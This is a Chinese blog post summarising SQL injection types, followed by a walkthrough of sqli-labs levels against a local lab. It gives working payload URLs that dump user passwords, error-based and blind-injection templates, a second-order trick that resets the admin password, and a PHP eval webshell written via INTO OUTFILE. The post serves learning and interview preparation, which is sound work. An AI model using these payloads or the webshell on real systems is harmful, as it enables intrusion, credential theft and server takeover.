SQL注入总结
前言
SQL注入作为经典漏洞面试时经常问到。虽然使用sqlmap,xray等工具已经可以完全覆盖sql注入漏洞的验证到利用,但是为了告别手工测试时只会在参数后面打单引号的尴尬,我决定结合靶场实践对sql注入漏洞做一次全面的总结。
SQL注入产生原理
web应用程序没有对用户输入的合法性做判断,前端传入后端的参数是攻击者可控的,并且后端将参数带入数据库查询。由此攻击者可以构造sql语句对数据库进行操作。
- 参数用户可控
- 传入参数拼接到SQL语句,带入数据库查询
- 应用程序对用户的输入没有进行严格的过滤
SQL注入基础知识
mysql5.0之后,默认有information_schema
数据库,其中SCHEMATA
表的SCHEMA_NAME
字段记录所有数据库名。
TABLES
表的TABLE_SCHEMA
字段记录所有数据库名,TABLE_NAME
字段记录表名
COLUMNS表的TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME
字段分别记录所有数据库的库名,表名和字段名。
通过运用这三个表进行查询,即可得知全部数据库的库名,表名和字段名。后续可以针对性的进行查询。
注释符
- Mysql 有三种常用注释符:
1 | -- 注意,这种注释符后边有一个空格 |
常用函数
- group_concat() 函数,多条数据变为一条输出
- limit() 可以控制输出的行数
输出一行,偏移量为0行
- outfile
outfile函数就是将数据库的查询内容导出到一个外部文件,前提是知道路径
show variables like '%secure%';
查看本机数据库的导出目录,如果随便导出到一个文件夹就会报错
secure_file_priv值为空时没有限制,成功写入文件
SQL注入分类
按照参数类型分类:数字型和字符型。
数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
1 | 测试步骤: |
如果满足以上三点,则可以判断该URL存在数字型注入。
字符型注入
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
1 | 字符型sql语句如下:select * from table where name='admin' |
Union注入
SQL注入sql语句查询有回显时,可以使用Union注入获取数据
- 出现两个及以上的
select
- select 的列数要相同
- 可以使用union,列的数据类型必须兼容,兼容的含义是必须数据库可以隐含转换他们的类型
先使用order by确认列数,即可使用union select查询,结果在回显位中
见Less1-4
报错注入
报错注入就是通过人为的引起数据库的报错,但是数据库在报错的同时会将查询的结果也呈现在报错中
报错注入有很多函数可以利用
- exp
1 | select exp(~(select * from (PAYLOAD)a)); |
- updatexml
1 | and%20updatexml(1,concat(0x7e,(PAYLOAD),0x7e),1) |
要在where之后才执行
- group by floor 报错(mysql 5 可用)「重复键报错」
1 | select 1,count(*),concat(0x3a,0x3a,(PAYLOAD),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a; |
原理参考连接
盲注
- length函数 返回字段长度
- substr函数 切割字符串
- ascii函数 将字符转换为ascii码值,一次只能转换一位
Bool盲注
没有回显或报错信息,只会返回正常(True)页面和不正常(False)页面。根据正常不正常的页面返回看是否有注入。
见 Less-8
时间盲注
响应中没有任何信息,只能通过服务器响应的延时来判断sql语句是否执行。
- if函数
MySQL中if函数语法如下
1 | IF(expr,v1,v2) |
其中:表达式 expr 得到不同的结果,当 expr 为真是返回 v1 的值,否则返回 v2.
二次注入
二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。
二次注入的出现和代码逻辑关系密切。
宽字节注入
当数据库采用gbk编码时,由于编码问题,导致数据库吃掉转义引号的反斜杠,从而引发宽字节注入。
宽字节的格式先打一个%df
,因为反斜杠的编码是%5c
,在GBK编码中,%df%5c
是一个繁体字。在这时原本被转义的单引号成功逃逸。
所以理论上只要低位的范围中含有0x5c
的编码,就可以进行宽字符注入。
堆叠注入
堆叠注入,就是通过;
将两个sql语句分开,在执行完第一个语句之后,后面的语句可以由攻击者任意指定,可以执行非查询语句,更改数据库配置,进行UDF提权等操作。该种注入威胁更大。
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个函数才能进行堆叠)
不过这种攻击通常不能获得第二条语句的执行结果,可以使用update先写后查来获取数据,或者时间盲注,以及其它外带数据技巧。
sqli-labs 靶场
Less-1
上来先打一个单引号,报错
1 | http://127.0.0.1/sqli/Less-1/?id=1%27 |
1 | http://127.0.0.1/sqli/Less-1/?id=1%27%20and%201=1--+ |
1 | http://127.0.0.1/sqli/Less-1/?id=1%27%20and%201=2--+ |
通过上文方法可以判断这是一个字符型注入,因此需要闭合单引号
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
通过order by获取字段数量,可以判断字段数为3
使用联合查询判断回显位置
1 | http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%201,2,3--+ |
为什么id=-1 才能有回显?
经过测试发现不一定非得是-1,一个极大数字比如1000也可以回显。关于这个问题我上手调试了一下
当第一个select有结果时,返回两条数据。
第一个select无结果时,就只有一条数据了,这样原有的回显位就成了union select的内容。
可惜没把数据库教材带回来,教材关于union select的用法肯定更详细
有了回显便可以构造sql语句查询了
我们现在已经知道了数据库名security,接下来去information_schema.COLUMNS
中查询表名和字段名
1 | http://127.0.0.1/sqli/Less-1/?id=dds%27%20union%20select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%22security%22),user()--+ |
这里出现问题了,我的数据库里不止一张表叫users,导致查出很多字段名,应该再多加一个条件
查询所有用户名和密码
第一关结束
Less-2
1 | http://127.0.0.1/sqli/Less-2/?id=1%20%20and%201=1--+ 正常 |
看来第二关是一个数字型的注入,无需闭合单引号。
1 | $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
将第一关payload的单引号去掉即可
1 | http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%22security%22),user()--+ |
Less-3
通过报错结果来看,多了一个)
使用')
来闭合
1 | http://localhost/sqli/Less-3/?id=1%27)%20and%201=1%20--+ |
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
修改paylaod即可
1 | http://localhost/sqli/Less-3/?id=-1%27)union%20select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%22security%22),user()--+ |
Less-4
单引号正常没反应,双引号报错
使用 ")
闭合
1 | $id = '"' . $id . '"'; |
1 | http://localhost/sqli/Less-4/?id=-1%22)%20union%20select%201,(select%20group_concat(password)%20from%20security.users),3--+ |
Less-5
没有回显位,要使用报错注入了
替换paylaod即可
1 | http://localhost/sqli/Less-5/?id=3%27%20%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20security.users),0x7e),1)--+ |
Less-6
双引号闭合即可
1 | http://localhost/sqli/Less-6/?id=3"%20%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20security.users),0x7e),1)--+ |
Less-7
不显示具体报错信息了,甚至都找不到怎么闭合,看了源码才知道两个括号
1 | $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; |
1 | http://localhost/sqli/Less-7/?id=1%27))--+ |
提示使用outfile,我觉得用bool盲注也可以
1 | http://localhost/sqli/Less-7/?id=-1%27))union%20select%201,(select%20group_concat(password)%20from%20security.users),3%20into%20outfile%20%20%22C:\\wamp\\www\\result.txt%22--+ |
使用group_concat()函数确保前后查询列数一致
还可以写webshell
1 | http://localhost/sqli/Less-7/?id=-1%27))union%20select%201,%22%3C?php%20@eval($_GET[%27shell%27]);?%3E%22,3%20into%20outfile%20%20%22C:\\wamp\\www\\result.php%22--+ |
Less-8
没有任何报错信息,使用单引号闭合后仍然可以使用outfile函数写shell的方式利用。
继续跟着提示来,使用Bool盲注技巧。
先判断数据库名长度
1 | http://localhost/sqli/Less-8/?id=1%27%20and%20length(database())=7--+ 无查询结果 |
再使用substr和ascii函数判断数据库名第一位
1 | http://localhost/sqli/Less-8/?id=1%27%20and%20(ascii(substr(database(),1,1))=114)--+ 无查询结果 |
可知数据库名第一位是s
,以此类推。
盲注利用起来过程十分繁琐,可以写一个脚本自动完成。
1 | import requests |
一个很简陋的脚本,要想实现sqlmap那样完全自动化注入还是要下很大功夫的。
Less-9
这一关无论输入什么页面都没变化,使用时间盲注技巧。
1 | http://localhost/sqli/Less-9/?id=1%27and%20if(ascii(substr(database(),1,1))=115,%20sleep(5),%200)%20--+ |
响应时间大于五秒,可知数据库名第一个字符是s
编写脚本利用,使用elapsed.total_seconds()
函数获取响应时间
1 | import requests |
我的靶场搭建在本地,正常响应非常迅速,所以我将sleep时间设置为1秒。需要根据实际情况设置时间,否则会影响结果。
Less-10
和Less-9一样的时间盲注,用双引号闭合
1 | http://localhost/sqli/Less-10/?id=1%22and%20if(ascii(substr(database(),1,1))=115,%20sleep(5),%200)%20--+ |
Less-11
Union注入,报错注入都可以解决,只不过为POST方法。测试流程,payload和GET方法没有区别。
12-22的注入类型和前几关一样,只是方法为POST,在此不再赘述。
Less-23
过滤了注释符
1 | if(isset($_GET['id'])) |
payload
1 | http://localhost/sqli/Less-23/?id=1' and 1='1 |
查询语句就变成了
1 | SELECT * FROM users WHERE id='1' and 1='1' LIMIT 0,1 |
正常闭合
union注入
1 | http://localhost/sqli/Less-23/?id=-1%27%20union%20select%201,(user()),%273 |
报错注入
1 | http://localhost/sqli/Less-23/?id=-1%27%20union%20select%201,(exp(~(select%20*%20from%20(select%20user())a))),%273 |
Less-24
登录接口用mysql_real_escape_string函数做了处理,引号等特殊符号都被转义了,没有利用方法
1 | $username = mysql_real_escape_string($_POST["login_user"]); |
问题出在pass_change.php里面
1 | $username= $_SESSION["username"]; |
这里直接从session中取到username,直接带入到sql语句中,并未有过滤。mysql_real_escape_string函数只是转义,插入到数据库中引号还是存在的。
现在利用思路就有了:
注册一个名为admin'#
的用户,进入修改密码界面,这时sql语句就会变成:
1 | UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'; |
即可实现修改admin用户的密码。
注册用户
修改密码,原有的admin用户密码被修改了。
二次注入和PHP代码审计结合很紧密。
之后是各种过滤bypass关卡,本文重点总结sql注入类型,暂时不研究绕过了。
Less-32
这一关将引号转义了
运用宽字节注入技巧
1 | http://localhost/sqli/Less-32/?id=-1%df%27%20union%20select%201,user(),3--+ |
Less-38
源码中查询语句如下:
1 | mysqli_multi_query($con1, $sql); |
此时可以使用堆叠注入
1 | http://localhost/sqli/Less-38/?id=1%27;select%20%22hack%20by%20luckyfuture%22%20into%20outfile%20%22C:\\wamp\\www\\hack.txt%22--+ |
成功执行
利用方式
outfile函数写shell
利用条件
- secure_file_priv值为空,web目录已知
绕过方法
- 过滤
"
引号
16进制编码绕过 ,比如这里”)的十六进制为0x2229 最终网站也给我们返回了正确的信息
- 过滤注释符
总结
从接触信息安全开始,云了4年的SQL注入,面试遇到一顿扯,实战遇到sqlmap一把梭。今天终于动手把所有sql注入类型的原理利用方式复现了一遍。不能说完全透彻了,起码照着漏洞源代码,能判断是什么注入类型,能构造payload。
关于sql注入的利用提权,以及绕过思路,我打算实战中遇到了再详细整理。关于--os-shell
和UDF提权我之前写过一篇笔记,当时理解的很肤浅,没有太大参考价值。
以前面试前经常会找一些sql注入的文章来临时看看,当时感觉知识点很多,挺复杂的。但是自己动手复现起来其实并不难,难的是说服自己动手去做。
参考
https://blog.51cto.com/hackedu/3407131